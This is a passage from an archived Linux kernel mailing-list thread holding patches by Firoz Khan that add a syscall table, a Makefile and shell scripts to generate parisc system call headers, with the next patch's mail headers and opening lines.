Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/kernel/syscalls/Makefile      |  55 +++++
 arch/parisc/kernel/syscalls/syscall.tbl   | 352 ++++++++++++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscallhdr.sh |  35 +++
 arch/parisc/kernel/syscalls/syscalltbl.sh |  41 ++++
 4 files changed, 483 insertions(+)
 create mode 100644 arch/parisc/kernel/syscalls/Makefile
 create mode 100644 arch/parisc/kernel/syscalls/syscall.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
 create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh

diff --git a/arch/parisc/kernel/syscalls/Makefile b/arch/parisc/kernel/syscalls/Makefile
new file mode 100644
index 0000000..e4c9c63
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/Makefile
@@ -0,0 +1,55 @@
+# SPDX-License-Identifier: GPL-2.0
+kapi := arch/$(SRCARCH)/include/generated/asm
+uapi := arch/$(SRCARCH)/include/generated/uapi/asm
+
+_dummy := $(shell [ -d '$(uapi)' ] || mkdir -p '$(uapi)') \
+	  $(shell [ -d '$(kapi)' ] || mkdir -p '$(kapi)')
+
+syscall := $(srctree)/$(src)/syscall.tbl
+syshdr := $(srctree)/$(src)/syscallhdr.sh
+systbl := $(srctree)/$(src)/syscalltbl.sh
+
+quiet_cmd_syshdr = SYSHDR  $@
+      cmd_syshdr = $(CONFIG_SHELL) '$(syshdr)' '$<' '$@'  \
+		   '$(syshdr_abi_$(basetarget))'          \
+		   '$(syshdr_pfx_$(basetarget))'          \
+		   '$(syshdr_offset_$(basetarget))'
+
+quiet_cmd_systbl = SYSTBL  $@
+      cmd_systbl = $(CONFIG_SHELL) '$(systbl)' '$<' '$@'  \
+                   '$(systbl_abi_$(basetarget))'          \
+		   '$(systbl_offset_$(basetarget))'
+
+syshdr_abi_unistd_32 := common,32
+syshdr_offset_unistd_32 := __NR_Linux
+$(uapi)/unistd_32.h: $(syscall) $(syshdr)
+	$(call if_changed,syshdr)
+
+syshdr_abi_unistd_64 := common,64
+syshdr_offset_unistd_64 := __NR_Linux
+$(uapi)/unistd_64.h: $(syscall) $(syshdr)
+	$(call if_changed,syshdr)
+
+systbl_abi_syscall_table_32 := common,32
+$(kapi)/syscall_table_32.h: $(syscall) $(systbl)
+	$(call if_changed,systbl)
+
+systbl_abi_syscall_table_64 := common,64
+$(kapi)/syscall_table_64.h: $(syscall) $(systbl)
+	$(call if_changed,systbl)
+
+systbl_abi_syscall_table_c32 := common,64
+$(kapi)/syscall_table_c32.h: $(syscall) $(systbl)
+	$(call if_changed,systbl)
+
+uapisyshdr-y			+= unistd_32.h unistd_64.h
+kapisyshdr-y			+= syscall_table_32.h     \
+                                   syscall_table_64.h     \
+                                   syscall_table_c32.h
+
+targets	+= $(uapisyshdr-y) $(kapisyshdr-y)
+
+PHONY += all
+all: $(addprefix $(uapi)/,$(uapisyshdr-y))
+all: $(addprefix $(kapi)/,$(kapisyshdr-y))
+	@:
diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
new file mode 100644
index 0000000..4e85293
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscall.tbl
@@ -0,0 +1,352 @@
+# SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note
+#
+# system call numbers and entry vectors for parisc
+#
+# The format is:
+# <number> <abi> <name> <entry point> <compat entry point>
+#
+# The <abi> can be common, 64, or 32 for this file.
+#
+0       common  restart_syscall                 sys_restart_syscall
+1       common  exit                            sys_exit
+2       common  fork                            sys_fork_wrapper
+3       common  read                            sys_read
+4       common  write                           sys_write
+5       common  open                            sys_open                        compat_sys_open
+6       common  close                           sys_close
+7       common  waitpid                         sys_waitpid
+8       common  creat                           sys_creat
+9       common  link                            sys_link
+10      common  unlink                          sys_unlink
+11      common  execve                          sys_execve                      compat_sys_execve
+12      common  chdir                           sys_chdir
+13      common  time                            sys_time                        compat_sys_time
+14      common  mknod                           sys_mknod
+15      common  chmod                           sys_chmod
+16      common  lchown                          sys_lchown
+17      common  socket                          sys_socket
+18      common  stat                            sys_newstat                     compat_sys_newstat
+19      common  lseek                           sys_lseek                       compat_sys_lseek
+20      common  getpid                          sys_getpid
+21      common  mount                           sys_mount                       compat_sys_mount
+22      common  bind                            sys_bind
+23      common  setuid                          sys_setuid
+24      common  getuid                          sys_getuid
+25      common  stime                           sys_stime                       compat_sys_stime
+26      common  ptrace                          sys_ptrace                      compat_sys_ptrace
+27      common  alarm                           sys_alarm
+28      common  fstat                           sys_newfstat                    compat_sys_newfstat
+29      common  pause                           sys_pause
+30      common  utime                           sys_utime                       compat_sys_utime
+31      common  connect                         sys_connect
+32      common  listen                          sys_listen
+33      common  access                          sys_access
+34      common  nice                            sys_nice
+35      common  accept                          sys_accept
+36      common  sync                            sys_sync
+37      common  kill                            sys_kill
+38      common  rename                          sys_rename
+39      common  mkdir                           sys_mkdir
+40      common  rmdir                           sys_rmdir
+41      common  dup                             sys_dup
+42      common  pipe                            sys_pipe
+43      common  times                           sys_times                       compat_sys_times
+44      common  getsockname                     sys_getsockname
+45      common  brk                             sys_brk
+46      common  setgid                          sys_setgid
+47      common  getgid                          sys_getgid
+48      common  signal                          sys_signal
+49      common  geteuid                         sys_geteuid
+50      common  getegid                         sys_getegid
+51      common  acct                            sys_acct
+52      common  umount2                         sys_umount
+53      common  getpeername                     sys_getpeername
+54      common  ioctl                           sys_ioctl                       compat_sys_ioctl
+55      common  fcntl                           sys_fcntl                       compat_sys_fcntl
+56      common  socketpair                      sys_socketpair
+57      common  setpgid                         sys_setpgid
+58      common  send                            sys_send
+59      common  uname                           sys_newuname
+60      common  umask                           sys_umask
+61      common  chroot                          sys_chroot
+62      common  ustat                           sys_ustat                       compat_sys_ustat
+63      common  dup2                            sys_dup2
+64      common  getppid                         sys_getppid
+65      common  getpgrp                         sys_getpgrp
+66      common  setsid                          sys_setsid
+67      common  pivot_root                      sys_pivot_root
+68      common  sgetmask                        sys_sgetmask                    sys32_unimplemented
+69      common  ssetmask                        sys_ssetmask                    sys32_unimplemented
+70      common  setreuid                        sys_setreuid
+71      common  setregid                        sys_setregid
+72      common  mincore                         sys_mincore
+73      common  sigpending                      sys_sigpending                  compat_sys_sigpending
+74      common  sethostname                     sys_sethostname
+75      common  setrlimit                       sys_setrlimit                   compat_sys_setrlimit
+76      common  getrlimit                       sys_getrlimit                   compat_sys_getrlimit
+77      common  getrusage                       sys_getrusage                   compat_sys_getrusage
+78      common  gettimeofday                    sys_gettimeofday                compat_sys_gettimeofday
+79      common  settimeofday                    sys_settimeofday                compat_sys_settimeofday
+80      common  getgroups                       sys_getgroups
+81      common  setgroups                       sys_setgroups
+82      common  sendto                          sys_sendto
+83      common  symlink                         sys_symlink
+84      common  lstat                           sys_newlstat                    compat_sys_newlstat
+85      common  readlink                        sys_readlink
+86      common  uselib                          sys_ni_syscall
+87      common  swapon                          sys_swapon
+88      common  reboot                          sys_reboot
+89      common  mmap2                           sys_mmap2
+90      common  mmap                            sys_mmap
+91      common  munmap                          sys_munmap
+92      common  truncate                        sys_truncate                    compat_sys_truncate
+93      common  ftruncate                       sys_ftruncate                   compat_sys_ftruncate
+94      common  fchmod                          sys_fchmod
+95      common  fchown                          sys_fchown
+96      common  getpriority                     sys_getpriority
+97      common  setpriority                     sys_setpriority
+98      common  recv                            sys_recv
+99      common  statfs                          sys_statfs                      compat_sys_statfs
+100     common  fstatfs                         sys_fstatfs                     compat_sys_fstatfs
+101     common  stat64                          sys_stat64
+103     common  syslog                          sys_syslog
+104     common  setitimer                       sys_setitimer                   compat_sys_setitimer
+105     common  getitimer                       sys_getitimer                   compat_sys_getitimer
+106     common  capget                          sys_capget
+107     common  capset                          sys_capset
+108     32      pread64                         parisc_pread64
+108     64      pread64                         sys_pread64                     parisc_pread64
+109     32      pwrite64                        parisc_pwrite64
+109     64      pwrite64                        sys_pwrite64                    parisc_pwrite64
+110     common  getcwd                          sys_getcwd
+111     common  vhangup                         sys_vhangup
+112     common  fstat64                         sys_fstat64
+113     common  vfork                           sys_vfork_wrapper
+114     common  wait4                           sys_wait4                       compat_sys_wait4
+115     common  swapoff                         sys_swapoff
+116     common  sysinfo                         sys_sysinfo                     compat_sys_sysinfo
+117     common  shutdown                        sys_shutdown
+118     common  fsync                           sys_fsync
+119     common  madvise                         sys_madvise
+120     common  clone                           sys_clone_wrapper
+121     common  setdomainname                   sys_setdomainname
+122     common  sendfile                        sys_sendfile                    compat_sys_sendfile
+123     common  recvfrom                        sys_recvfrom
+124     common  adjtimex                        sys_adjtimex                    compat_sys_adjtimex
+125     common  mprotect                        sys_mprotect
+126     common  sigprocmask                     sys_sigprocmask                 compat_sys_sigprocmask
+128     common  init_module                     sys_init_module
+129     common  delete_module                   sys_delete_module
+131     common  quotactl                        sys_quotactl
+132     common  getpgid                         sys_getpgid
+133     common  fchdir                          sys_fchdir
+134     common  bdflush                         sys_bdflush
+135     common  sysfs                           sys_sysfs
+136     32      personality                     parisc_personality
+136     64      personality                     sys_personality                 parisc_personality
+138     common  setfsuid                        sys_setfsuid
+139     common  setfsgid                        sys_setfsgid
+140     common  _llseek                         sys_llseek
+141     common  getdents                        sys_getdents                    compat_sys_getdents
+142     common  _newselect                      sys_select                      compat_sys_select
+143     common  flock                           sys_flock
+144     common  msync                           sys_msync
+145     common  readv                           sys_readv                       compat_sys_readv
+146     common  writev                          sys_writev                      compat_sys_writev
+147     common  getsid                          sys_getsid
+148     common  fdatasync                       sys_fdatasync
+149     common  _sysctl                         sys_sysctl                      compat_sys_sysctl
+150     common  mlock                           sys_mlock
+151     common  munlock                         sys_munlock
+152     common  mlockall                        sys_mlockall
+153     common  munlockall                      sys_munlockall
+154     common  sched_setparam                  sys_sched_setparam
+155     common  sched_getparam                  sys_sched_getparam
+156     common  sched_setscheduler              sys_sched_setscheduler
+157     common  sched_getscheduler              sys_sched_getscheduler
+158     common  sched_yield                     sys_sched_yield
+159     common  sched_get_priority_max          sys_sched_get_priority_max
+160     common  sched_get_priority_min          sys_sched_get_priority_min
+161     common  sched_rr_get_interval           sys_sched_rr_get_interval       compat_sys_sched_rr_get_interval
+162     common  nanosleep                       sys_nanosleep                   compat_sys_nanosleep
+163     common  mremap                          sys_mremap
+164     common  setresuid                       sys_setresuid
+165     common  getresuid                       sys_getresuid
+166     common  sigaltstack                     sys_sigaltstack                 compat_sys_sigaltstack
+168     common  poll                            sys_poll
+170     common  setresgid                       sys_setresgid
+171     common  getresgid                       sys_getresgid
+172     common  prctl                           sys_prctl
+173     common  rt_sigreturn                    sys_rt_sigreturn
+174     common  rt_sigaction                    sys_rt_sigaction                compat_sys_rt_sigaction
+175     common  rt_sigprocmask                  sys_rt_sigprocmask              compat_sys_rt_sigprocmask
+176     common  rt_sigpending                   sys_rt_sigpending               compat_sys_rt_sigpending
+177     common  rt_sigtimedwait                 sys_rt_sigtimedwait             compat_sys_rt_sigtimedwait
+178     common  rt_sigqueueinfo                 sys_rt_sigqueueinfo             compat_sys_rt_sigqueueinfo
+179     common  rt_sigsuspend                   sys_rt_sigsuspend               compat_sys_rt_sigsuspend
+180     common  chown                           sys_chown
+181     common  setsockopt                      sys_setsockopt                  compat_sys_setsockopt
+182     common  getsockopt                      sys_getsockopt                  compat_sys_getsockopt
+183     common  sendmsg                         sys_sendmsg                     compat_sys_sendmsg
+184     common  recvmsg                         sys_recvmsg                     compat_sys_recvmsg
+185     common  semop                           sys_semop
+186     common  semget                          sys_semget
+187     common  semctl                          sys_semctl                      compat_sys_semctl
+188     common  msgsnd                          sys_msgsnd                      compat_sys_msgsnd
+189     common  msgrcv                          sys_msgrcv                      compat_sys_msgrcv
+190     common  msgget                          sys_msgget
+191     common  msgctl                          sys_msgctl                      compat_sys_msgctl
+192     common  shmat                           sys_shmat                       compat_sys_shmat
+193     common  shmdt                           sys_shmdt
+194     common  shmget                          sys_shmget
+195     common  shmctl                          sys_shmctl                      compat_sys_shmctl
+198     common  lstat64                         sys_lstat64
+199     32      truncate64                      parisc_truncate64
+199     64      truncate64                      sys_truncate64                  parisc_truncate64
+200     32      ftruncate64                     parisc_ftruncate64
+200     64      ftruncate64                     sys_ftruncate64                 parisc_ftruncate64
+201     common  getdents64                      sys_getdents64
+202     common  fcntl64                         sys_fcntl64                     compat_sys_fcntl64
+206     common  gettid                          sys_gettid
+207     32      readahead                       parisc_readahead
+207     64      readahead                       sys_readahead                   parisc_readahead
+208     common  tkill                           sys_tkill
+209     common  sendfile64                      sys_sendfile64                  compat_sys_sendfile64
+210     common  futex                           sys_futex                       compat_sys_futex
+211     common  sched_setaffinity               sys_sched_setaffinity           compat_sys_sched_setaffinity
+212     common  sched_getaffinity               sys_sched_getaffinity           compat_sys_sched_getaffinity
+215     common  io_setup                        sys_io_setup                    compat_sys_io_setup
+216     common  io_destroy                      sys_io_destroy
+217     common  io_getevents                    sys_io_getevents                compat_sys_io_getevents
+218     common  io_submit                       sys_io_submit                   compat_sys_io_submit
+219     common  io_cancel                       sys_io_cancel
+222     common  exit_group                      sys_exit_group
+223     common  lookup_dcookie                  sys_lookup_dcookie              compat_sys_lookup_dcookie
+224     common  epoll_create                    sys_epoll_create
+225     common  epoll_ctl                       sys_epoll_ctl
+226     common  epoll_wait                      sys_epoll_wait
+227     common  remap_file_pages                sys_remap_file_pages
+228     common  semtimedop                      sys_semtimedop                  compat_sys_semtimedop
+229     common  mq_open                         sys_mq_open                     compat_sys_mq_open
+230     common  mq_unlink                       sys_mq_unlink
+231     common  mq_timedsend                    sys_mq_timedsend                compat_sys_mq_timedsend
+232     common  mq_timedreceive                 sys_mq_timedreceive             compat_sys_mq_timedreceive
+233     common  mq_notify                       sys_mq_notify                   compat_sys_mq_notify
+234     common  mq_getsetattr                   sys_mq_getsetattr               compat_sys_mq_getsetattr
+235     common  waitid                          sys_waitid                      compat_sys_waitid
+236     32      fadvise64_64                    parisc_fadvise64_64
+236     64      fadvise64_64                    sys_fadvise64_64                parisc_fadvise64_64
+237     common  set_tid_address                 sys_set_tid_address
+238     common  setxattr                        sys_setxattr
+239     common  lsetxattr                       sys_lsetxattr
+240     common  fsetxattr                       sys_fsetxattr
+241     common  getxattr                        sys_getxattr
+242     common  lgetxattr                       sys_lgetxattr
+243     common  fgetxattr                       sys_fgetxattr
+244     common  listxattr                       sys_listxattr
+245     common  llistxattr                      sys_llistxattr
+246     common  flistxattr                      sys_flistxattr
+247     common  removexattr                     sys_removexattr
+248     common  lremovexattr                    sys_lremovexattr
+249     common  fremovexattr                    sys_fremovexattr
+250     common  timer_create                    sys_timer_create                compat_sys_timer_create
+251     common  timer_settime                   sys_timer_settime               compat_sys_timer_settime
+252     common  timer_gettime                   sys_timer_gettime               compat_sys_timer_gettime
+253     common  timer_getoverrun                sys_timer_getoverrun
+254     common  timer_delete                    sys_timer_delete
+255     common  clock_settime                   sys_clock_settime               compat_sys_clock_settime
+256     common  clock_gettime                   sys_clock_gettime               compat_sys_clock_gettime
+257     common  clock_getres                    sys_clock_getres                compat_sys_clock_getres
+258     common  clock_nanosleep                 sys_clock_nanosleep             compat_sys_clock_nanosleep
+259     common  tgkill                          sys_tgkill
+260     common  mbind                           sys_mbind                       compat_sys_mbind
+261     common  get_mempolicy                   sys_get_mempolicy               compat_sys_get_mempolicy
+262     common  set_mempolicy                   sys_set_mempolicy               compat_sys_set_mempolicy
+264     common  add_key                         sys_add_key
+265     common  request_key                     sys_request_key
+266     common  keyctl                          sys_keyctl                      compat_sys_keyctl
+267     common  ioprio_set                      sys_ioprio_set
+268     common  ioprio_get                      sys_ioprio_get
+269     common  inotify_init                    sys_inotify_init
+270     common  inotify_add_watch               sys_inotify_add_watch
+271     common  inotify_rm_watch                sys_inotify_rm_watch
+272     common  migrate_pages                   sys_migrate_pages
+273     common  pselect6                        sys_pselect6                    compat_sys_pselect6
+274     common  ppoll                           sys_ppoll                       compat_sys_ppoll
+275     common  openat                          sys_openat                      compat_sys_openat
+276     common  mkdirat                         sys_mkdirat
+277     common  mknodat                         sys_mknodat
+278     common  fchownat                        sys_fchownat
+279     common  futimesat                       sys_futimesat                   compat_sys_futimesat
+280     common  fstatat64                       sys_fstatat64
+281     common  unlinkat                        sys_unlinkat
+282     common  renameat                        sys_renameat
+283     common  linkat                          sys_linkat
+284     common  symlinkat                       sys_symlinkat
+285     common  readlinkat                      sys_readlinkat
+286     common  fchmodat                        sys_fchmodat
+287     common  faccessat                       sys_faccessat
+288     common  unshare                         sys_unshare
+289     common  set_robust_list                 sys_set_robust_list             compat_sys_set_robust_list
+290     common  get_robust_list                 sys_get_robust_list             compat_sys_get_robust_list
+291     common  splice                          sys_splice
+292     32      sync_file_range                 parisc_sync_file_range
+292     64      sync_file_range                 sys_sync_file_range             parisc_sync_file_range
+293     common  tee                             sys_tee
+294     common  vmsplice                        sys_vmsplice                    compat_sys_vmsplice
+295     common  move_pages                      sys_move_pages                  compat_sys_move_pages
+296     common  getcpu                          sys_getcpu
+297     common  epoll_pwait                     sys_epoll_pwait                 compat_sys_epoll_pwait
+298     common  statfs64                        sys_statfs64                    compat_sys_statfs64
+299     common  fstatfs64                       sys_fstatfs64                   compat_sys_fstatfs64
+300     common  kexec_load                      sys_kexec_load                  compat_sys_kexec_load
+301     common  utimensat                       sys_utimensat                   compat_sys_utimensat
+302     common  signalfd                        sys_signalfd                    compat_sys_signalfd
+304     common  eventfd                         sys_eventfd
+305     32      fallocate                       parisc_fallocate
+305     64      fallocate                       sys_fallocate                   parisc_fallocate
+306     common  timerfd_create                  sys_timerfd_create
+307     common  timerfd_settime                 sys_timerfd_settime             compat_sys_timerfd_settime
+308     common  timerfd_gettime                 sys_timerfd_gettime             compat_sys_timerfd_gettime
+309     common  signalfd4                       sys_signalfd4                   compat_sys_signalfd4
+310     common  eventfd2                        sys_eventfd2
+311     common  epoll_create1                   sys_epoll_create1
+312     common  dup3                            sys_dup3
+313     common  pipe2                           sys_pipe2
+314     common  inotify_init1                   sys_inotify_init1
+315     common  preadv                          sys_preadv                      compat_sys_preadv
+316     common  pwritev                         sys_pwritev                     compat_sys_pwritev
+317     common  rt_tgsigqueueinfo               sys_rt_tgsigqueueinfo           compat_sys_rt_tgsigqueueinfo
+318     common  perf_event_open                 sys_perf_event_open
+319     common  recvmmsg                        sys_recvmmsg                    compat_sys_recvmmsg
+320     common  accept4                         sys_accept4
+321     common  prlimit64                       sys_prlimit64
+322     common  fanotify_init                   sys_fanotify_init
+323     common  fanotify_mark                   sys_fanotify_mark               sys32_fanotify_mark
+324     common  clock_adjtime                   sys_clock_adjtime               compat_sys_clock_adjtime
+325     common  name_to_handle_at               sys_name_to_handle_at
+326     common  open_by_handle_at               sys_open_by_handle_at           compat_sys_open_by_handle_at
+327     common  syncfs                          sys_syncfs
+328     common  setns                           sys_setns
+329     common  sendmmsg                        sys_sendmmsg                    compat_sys_sendmmsg
+330     common  process_vm_readv                sys_process_vm_readv            compat_sys_process_vm_readv
+331     common  process_vm_writev               sys_process_vm_writev           compat_sys_process_vm_writev
+332     common  kcmp                            sys_kcmp
+333     common  finit_module                    sys_finit_module
+334     common  sched_setattr                   sys_sched_setattr
+335     common  sched_getattr                   sys_sched_getattr
+336     common  utimes                          sys_utimes                      compat_sys_utimes
+337     common  renameat2                       sys_renameat2
+338     common  seccomp                         sys_seccomp
+339     common  getrandom                       sys_getrandom
+340     common  memfd_create                    sys_memfd_create
+341     common  bpf                             sys_bpf
+342     common  execveat                        sys_execveat                    compat_sys_execveat
+343     common  membarrier                      sys_membarrier
+344     common  userfaultfd                     sys_userfaultfd
+345     common  mlock2                          sys_mlock2
+346     common  copy_file_range                 sys_copy_file_range
+347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
+348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
+349     common  statx                           sys_statx
+350	common  io_pgetevents			sys_io_pgetevents		compat_sys_io_pgetevents
\ No newline at end of file
diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh b/arch/parisc/kernel/syscalls/syscallhdr.sh
new file mode 100644
index 0000000..607d4ca
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
@@ -0,0 +1,35 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0
+
+in="$1"
+out="$2"
+my_abis=`echo "($3)" | tr ',' '|'`
+prefix="$4"
+offset="$5"
+
+fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
+    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
+    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
+grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
+    echo "#ifndef ${fileguard}"
+    echo "#define ${fileguard}"
+    echo ""
+
+    nxt=0
+    while read nr abi name entry compat ; do
+	if [ -z "$offset" ]; then
+	    echo -e "#define __NR_${prefix}${name}\t$nr"
+	else
+	    echo -e "#define __NR_${prefix}${name}\t($offset + $nr)"
+	fi
+	nxt=$nr
+	let nxt=nxt+1
+    done
+
+    echo ""
+    echo "#ifdef __KERNEL__"
+    echo -e "#define __NR_syscalls\t$nxt"
+    echo "#endif"
+    echo ""
+    echo "#endif /* ${fileguard} */"
+) > "$out"
diff --git a/arch/parisc/kernel/syscalls/syscalltbl.sh b/arch/parisc/kernel/syscalls/syscalltbl.sh
new file mode 100644
index 0000000..82b0416
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscalltbl.sh
@@ -0,0 +1,41 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0
+
+in="$1"
+out="$2"
+my_abis=`echo "($3)" | tr ',' '|'`
+offset="$4"
+
+emit() {
+    nxt="$1"
+    nr="$2"
+    entry="$3"
+
+    while [ $nxt -lt $nr ]; do
+	echo "__SYSCALL($nxt, sys_ni_syscall, )"
+        let nxt=nxt+1
+    done
+    echo "__SYSCALL($nr, $entry, )"
+}
+
+grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
+    if [ -z "$offset" ]; then
+	nxt=0
+    else
+	nxt=$offset
+    fi
+
+    while read nr abi name entry compat ; do
+	if [ ${out: -5} = "c32.h" ]; then
+	    if [ -z "$compat" ]; then
+		emit $nxt $nr $entry
+	    else
+		emit $nxt $nr $compat
+	    fi
+	elif [ ${out: -4} = "64.h" -o  ${out: -4} = "32.h" ]; then
+	    emit $nxt $nr $entry
+	fi
+	nxt=$nr
+        let nxt=nxt+1
+    done
+) > "$out"
-- 
1.9.1



From - Thu Nov 08 21:42:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 4/6] parisc: uapi header and system call table file generation
Date: Mon,  8 Oct 2018 10:46:39 +0530
Lines: 988
Approved: news@gmane.org
Message-ID: <1538975801-13735-5-git-send-email-firoz.khan@linaro.org>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538975741 10306 195.159.176.226 (8 Oct 2018 05:15:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 05:15:41 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 07:15:36 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9NtE-0002Ve-GX
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 07:15:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726855AbeJHM1b (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 08:27:31 -0400
Original-Received: from mail-pf1-f193.google.com ([209.85.210.193]:36424 "EHLO
        mail-pf1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725941AbeJHM1b (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 08:27:31 -0400
Original-Received: by mail-pf1-f193.google.com with SMTP id l81-v6so2708915pfg.3
        for <linux-kernel@vger.kernel.org>; Sun, 07 Oct 2018 22:17:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=loqtjQaFfmpIqn7pZg6ADV2UdT3FfSYIwrZxTLNrMJQ=;
        b=iEcpTym0F9DRwnXypjeEQp15LQcbtbryBORRHF7pCgqWJDHcOoPgXawZLII0SZOgsC
         cH9dz0TNiUCwu43iX40dx9oJ45Xo+RO5oOmqN/8+s1nxd7JM8RcR6SYT2Wnq6xaPLv5m
         rMqSpT3Y58zeL2tIC+TueQQX89gzCVI/9Tj8E=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=loqtjQaFfmpIqn7pZg6ADV2UdT3FfSYIwrZxTLNrMJQ=;
        b=RJaSal7Az0TZuYXFJowxfj2DyZeONx9Ne2+auRwAMcnGDqMwL4xbGJ5zDEIcypUvku
         ENKzhuOI6+65U19OM0UGzccZjBj8VcT0i7P0HmNGxLhVB54tcuQU/PouuSoMXDU3hQlC
         fwviK002SIGYFzP9Lj4x5V8r0dJOBQyezwPuI5hBFBsvRNOM8I20Wcc9WFxqjRUow8pT
         kSyuSKNfF+QOreuwyu9jziBi+qvs2TLc3bbIFFhND6miLTZS0HyiEZS0spnu+ao4Rd28
         D+31lKbJXI7CFMPcvq0lGSPikqNtfSepp9X2xGhcRnXqDivW6kNqip6n4IvhsZbnylLd
         jSIA==
X-Gm-Message-State: ABuFfojlKrXdba+72YsUFuNIIIeeGyDYY93AU+xnvnE022z48kLF0Dvv
        u8/tfMV1tjaHK9i46e+9wKj8tw==
X-Google-Smtp-Source: ACcGV62e1eT9jRMQqK3viHFc0DjjoXEvDMzIkWpd7Guw0SjLmzb/KRekDDDXensm/BsU+6qmIFEVzQ==
X-Received: by 2002:a62:6ec3:: with SMTP id j186-v6mr11782441pfc.40.1538975858535;
        Sun, 07 Oct 2018 22:17:38 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.qualcomm.com (blr-bdr-fw-01_globalnat_allzones-outside.qualcomm.com. [103.229.18.19])
        by smtp.gmail.com with ESMTPSA id j19-v6sm1875919pfi.137.2018.10.07.22.17.33
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sun, 07 Oct 2018 22:17:38 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892280 gmane.linux.ports.parisc:29093 gmane.linux.kernel.year-2038:3455 gmane.linux.kernel.cross-arch:47483
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892280>

System call table generation script must be run to generate
unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
will have changes which will invokes the script.

This patch will generate unistd_32/64.h and syscall_table_
32/64/c32.h files by the syscall table generation script
invoked by arch/parisc/Makefile and the generated files against
the removed files will be identical.

The generated uapi header file will be included in uapi/asm/
unistd_32/64.h and generated system call table support file will
be included by arch/sparc/kernel/syscall_table_32/64.S file.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/Makefile                  |   4 +
 arch/parisc/include/asm/Kbuild        |   3 +
 arch/parisc/include/uapi/asm/Kbuild   |   2 +
 arch/parisc/include/uapi/asm/unistd.h | 373 +--------------------------
 arch/parisc/kernel/syscall.S          |  12 +-
 arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------
 arch/parisc/kernel/syscall_table_32.S |  13 +
 arch/parisc/kernel/syscall_table_64.S |  20 ++
 8 files changed, 50 insertions(+), 836 deletions(-)
 delete mode 100644 arch/parisc/kernel/syscall_table.S
 create mode 100644 arch/parisc/kernel/syscall_table_32.S
 create mode 100644 arch/parisc/kernel/syscall_table_64.S

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 5ce0302..6b217da 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -159,6 +159,10 @@ endef
 
 # we require gcc 3.3 or above to compile the kernel
 archprepare: checkbin
+
+archheaders:
+	$(Q)$(MAKE) $(build)=arch/parisc/kernel/syscalls all
